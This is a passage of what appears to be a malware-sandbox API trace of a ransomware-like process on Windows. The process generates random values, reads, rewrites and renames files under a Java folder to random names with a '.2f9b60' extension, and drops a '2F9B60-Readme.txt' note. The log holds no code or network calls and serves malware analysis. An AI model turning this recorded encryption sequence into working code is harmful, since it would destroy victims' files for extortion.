hFile=0x1e94, lpFileSize=0x3658fa80 | out: lpFileSize=0x3658fa80*=4200) returned 1 [0138.215] SetFilePointerEx (in: hFile=0x1e94, liDistanceToMove=0x1064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.215] ReadFile (in: hFile=0x1e94, lpBuffer=0x3658fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3658fa48, lpOverlapped=0x0 | out: lpBuffer=0x3658fa00*, lpNumberOfBytesRead=0x3658fa48*=0x4, lpOverlapped=0x0) returned 1 [0138.221] SetFilePointerEx (in: hFile=0x1e94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0138.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0138.222] NtQuerySystemTime (in: CurrentTime=0x3658f940 | out: CurrentTime=0x3658f940*=132462177434650000) returned 0x0 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x6da97ea2 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x4a9ae82d [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x14c7b56e [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x641dae70 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x3f47a85b [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x3a8c91fb [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x67e5459e [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x3e432f2 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x531ed0d0 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x69a9852d [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x3590cab9 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x17cc19c [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x9f53e05 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x4b4096a7 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x70d794e2 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x16ac26c9 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x2b96f4d9 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x7c96800d [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x56220e50 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x6dd45762 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x5e6d0baa [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x33a7a8fc [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x713ed8e5 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x5998a745 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x643921fe [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x5eed4c54 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x42b2c9f7 [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x5b49918d [0138.222] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x7b198c47 [0138.223] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0xc604635 [0138.223] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x1c4913b9 [0138.223] RtlRandomEx (in: Seed=0x3658f930 | out: Seed=0x3658f930) returned 0x53dded14 [0138.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0138.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060f30 [0138.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0138.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060f30) returned 1 [0138.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0138.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0138.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060f30 [0138.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4207e530 [0138.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42082140 [0138.234] ReadFile (in: hFile=0x1e94, lpBuffer=0x4207e530, nNumberOfBytesToRead=0x1068, lpNumberOfBytesRead=0x3658f930, lpOverlapped=0x0 | out: lpBuffer=0x4207e530*, lpNumberOfBytesRead=0x3658f930*=0x1068, lpOverlapped=0x0) returned 1 [0138.241] SetFilePointerEx (in: hFile=0x1e94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.241] WriteFile (in: hFile=0x1e94, lpBuffer=0x42082140*, nNumberOfBytesToWrite=0x1068, lpNumberOfBytesWritten=0x3658f934, lpOverlapped=0x0 | out: lpBuffer=0x42082140*, lpNumberOfBytesWritten=0x3658f934*=0x1068, lpOverlapped=0x0) returned 1 [0138.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a470 [0138.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0138.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0138.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42082140) returned 1 [0138.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4207e530) returned 1 [0138.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060f30) returned 1 [0138.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0138.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4205a0e0 [0138.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0138.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060f30 [0138.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0138.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0138.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4205a680 [0138.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0138.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0138.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060f30) returned 1 [0138.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0138.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x166f20 [0138.257] SetFilePointerEx (in: hFile=0x1e94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0138.257] WriteFile (in: hFile=0x1e94, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3658fa50, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x3658fa50*=0x10c, lpOverlapped=0x0) returned 1 [0138.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0138.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060f30 [0138.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0138.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0138.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4205a530 [0138.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0138.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0138.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0138.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060f30) returned 1 [0138.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0138.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cda0370 [0138.261] sprintf (in: _Dest=0x1cda0370, _Format="%c%c" | out: _Dest="e3") returned 2 [0138.261] sprintf (in: _Dest=0x1cda0372, _Format="%c%c" | out: _Dest="24") returned 2 [0138.261] sprintf (in: _Dest=0x1cda0374, _Format="%c%c" | out: _Dest="dc") returned 2 [0138.261] sprintf (in: _Dest=0x1cda0376, _Format="%c%c" | out: _Dest="2a") returned 2 [0138.261] sprintf (in: _Dest=0x1cda0378, _Format="%c%c" | out: _Dest="01") returned 2 [0138.261] sprintf (in: _Dest=0x1cda037a, _Format="%c%c" | out: _Dest="a4") returned 2 [0138.261] sprintf (in: _Dest=0x1cda037c, _Format="%c%c" | out: _Dest="cf") returned 2 [0138.261] sprintf (in: _Dest=0x1cda037e, _Format="%c%c" | out: _Dest="d8") returned 2 [0138.261] sprintf (in: _Dest=0x1cda0380, _Format="%c%c" | out: _Dest="f8") returned 2 [0138.262] sprintf (in: _Dest=0x1cda0382, _Format="%c%c" | out: _Dest="99") returned 2 [0138.262] sprintf (in: _Dest=0x1cda0384, _Format="%c%c" | out: _Dest="cc") returned 2 [0138.262] sprintf (in: _Dest=0x1cda0386, _Format="%c%c" | out: _Dest="a0") returned 2 [0138.262] sprintf (in: _Dest=0x1cda0388, _Format="%c%c" | out: _Dest="e8") returned 2 [0138.262] sprintf (in: _Dest=0x1cda038a, _Format="%c%c" | out: _Dest="8a") returned 2 [0138.262] sprintf (in: _Dest=0x1cda038c, _Format="%c%c" | out: _Dest="86") returned 2 [0138.262] sprintf (in: _Dest=0x1cda038e, _Format="%c%c" | out: _Dest="d6") returned 2 [0138.262] sprintf (in: _Dest=0x1cda0390, _Format="%c%c" | out: _Dest="0c") returned 2 [0138.262] sprintf (in: _Dest=0x1cda0392, _Format="%c%c" | out: _Dest="96") returned 2 [0138.262] sprintf (in: _Dest=0x1cda0394, _Format="%c%c" | out: _Dest="c2") returned 2 [0138.262] sprintf (in: _Dest=0x1cda0396, _Format="%c%c" | out: _Dest="da") returned 2 [0138.262] sprintf (in: _Dest=0x1cda0398, _Format="%c%c" | out: _Dest="b1") returned 2 [0138.262] sprintf (in: _Dest=0x1cda039a, _Format="%c%c" | out: _Dest="e9") returned 2 [0138.262] sprintf (in: _Dest=0x1cda039c, _Format="%c%c" | out: _Dest="37") returned 2 [0138.262] sprintf (in: _Dest=0x1cda039e, _Format="%c%c" | out: _Dest="df") returned 2 [0138.262] sprintf (in: _Dest=0x1cda03a0, _Format="%c%c" | out: _Dest="8f") returned 2 [0138.262] sprintf (in: _Dest=0x1cda03a2, _Format="%c%c" | out: _Dest="ed") returned 2 [0138.262] RtlInitAnsiString (in: DestinationString=0x3658fac8, SourceString="e324dc2a01a4cfd8f899cca0e88a86d60c96c2dab1e937df8fed" | out: DestinationString="e324dc2a01a4cfd8f899cca0e88a86d60c96c2dab1e937df8fed") [0138.262] RtlAnsiStringToUnicodeString (in: DestinationString=0x3658fa98, SourceString="e324dc2a01a4cfd8f899cca0e88a86d60c96c2dab1e937df8fed", AllocateDestinationString=1 | out: DestinationString="e324dc2a01a4cfd8f899cca0e88a86d60c96c2dab1e937df8fed") returned 0x0 [0138.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42060fb0 [0138.262] RtlFreeAnsiString (AnsiString="e") [0138.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0370) returned 1 [0138.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0138.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0138.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0138.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0138.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0138.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a470) returned 1 [0138.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0138.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0138.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0138.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42060f30 [0138.264] wcscat (in: _Dest=0x42060f30, _Source="e324dc2a01a4c" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\e324dc2a01a4c") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\e324dc2a01a4c" [0138.264] wcscat (in: _Dest=0x42060f30, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\e324dc2a01a4c.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\e324dc2a01a4c.2f9b60" [0138.264] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\e324dc2a01a4c.2f9b60", NtPathName=0x3658fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\e324dc2a01a4c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0138.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b1cd0 [0138.265] NtSetInformationFile (FileHandle=0x1e94, IoStatusBlock=0x3658fb10, FileInformation=0x202b1cd0, Length=0x92, FileInformationClass=0xa) returned 0x0 [0138.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1cd0) returned 1 [0138.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0138.266] NtQueryInformationFile (in: FileHandle=0x1e94, IoStatusBlock=0x3658fad8, FileInformation=0x3658fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3658fad8, FileInformation=0x3658fae8) returned 0x0 [0138.267] NtSetInformationFile (FileHandle=0x1e94, IoStatusBlock=0x3658fad8, FileInformation=0x3658fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0138.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060f30) returned 1 [0138.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0138.268] FlushFileBuffers (hFile=0x1e94) returned 1 [0138.552] CloseHandle (hObject=0x1e94) returned 1 [0138.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420611b0 [0138.657] wcscpy (in: _Dest=0x420611b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0138.657] wcscat (in: _Dest=0x420611b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0138.657] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0xffffffff [0138.924] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ea4 [0147.381] WriteFile (in: hFile=0x1ea4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3658f990, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3658f990*=0xba9, lpOverlapped=0x0) returned 1 [0147.381] CloseHandle (hObject=0x1ea4) returned 1 [0147.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420611b0) returned 1 [0147.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 Thread: id = 2071 os_tid = 0x1360 [0138.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1ced8b40 [0138.239] wcscpy (in: _Dest=0x1ced8b40, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0138.239] wcscat (in: _Dest=0x1ced8b40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0138.239] wcscat (in: _Dest=0x1ced8b40, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*" [0138.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027cce0 [0138.239] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*", lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced6340 [0138.254] wcscmp (_String1=".", _String2=".") returned 0 [0138.254] FindNextFileW (in: hFindFile=0x1ced6340, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.254] wcscmp (_String1="..", _String2=".") returned 1 [0138.254] wcscmp (_String1="..", _String2="..") returned 0 [0138.254] FindNextFileW (in: hFindFile=0x1ced6340, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x48cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1 [0138.254] wcscmp (_String1="ffjcext.zip", _String2=".") returned 1 [0138.254] wcscmp (_String1="ffjcext.zip", _String2="..") returned 1 [0138.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.254] wcscpy (in: _Dest=0x42060eb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0138.254] wcscat (in: _Dest=0x42060eb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0138.254] wcscat (in: _Dest=0x42060eb0, _Source="ffjcext.zip" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip" [0151.911] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip")) returned 0x20 [0151.920] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip", dwFileAttributes=0x20) returned 1 [0151.921] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25a4 [0151.921] GetFileSizeEx (in: hFile=0x25a4, lpFileSize=0x3661f6a0 | out: lpFileSize=0x3661f6a0*=18636) returned 1 [0151.921] SetFilePointerEx (in: hFile=0x25a4, liDistanceToMove=0x48c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.921] ReadFile (in: hFile=0x25a4, lpBuffer=0x3661f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3661f668, lpOverlapped=0x0 | out: lpBuffer=0x3661f620*, lpNumberOfBytesRead=0x3661f668*=0x4, lpOverlapped=0x0) returned 1 [0151.942] SetFilePointerEx (in: hFile=0x25a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500290 [0151.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500410 [0151.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205004a0 [0151.943] NtQuerySystemTime (in: CurrentTime=0x3661f560 | out: CurrentTime=0x3661f560*=132462177571462000) returned 0x0 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x5b79ac8d [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x3562a79b [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x13250f65 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x283bbde5 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x2c4b22ea [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x4a99fde9 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x13d990a8 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x23fc87e4 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x4cc17182 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x208debe [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x686ccd37 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x3f1036d6 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x5c83417b [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x5474cd96 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x3c734980 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x646ea63d [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x68dc0253 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x5ab61c21 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x8b7dcdd [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x1337388d [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0xa327df6 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x691dd0d2 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x16ddf896 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x2bcca5a4 [0151.943] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x47cb7c59 [0151.944] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x1be750f1 [0151.944] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x3aeb049f [0151.944] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x11716229 [0151.944] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x41d77768 [0151.944] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x2087d5df [0151.944] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0xd0cee2f [0151.944] RtlRandomEx (in: Seed=0x3661f550 | out: Seed=0x3661f550) returned 0x69c45b0d [0151.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205004d0 [0151.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0151.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500500 [0151.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0151.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205004a0) returned 1 [0151.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500290) returned 1 [0151.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4258c580 [0151.957] SetFilePointerEx (in: hFile=0x25a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.957] ReadFile (in: hFile=0x25a4, lpBuffer=0x4258c580, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3661f5c0, 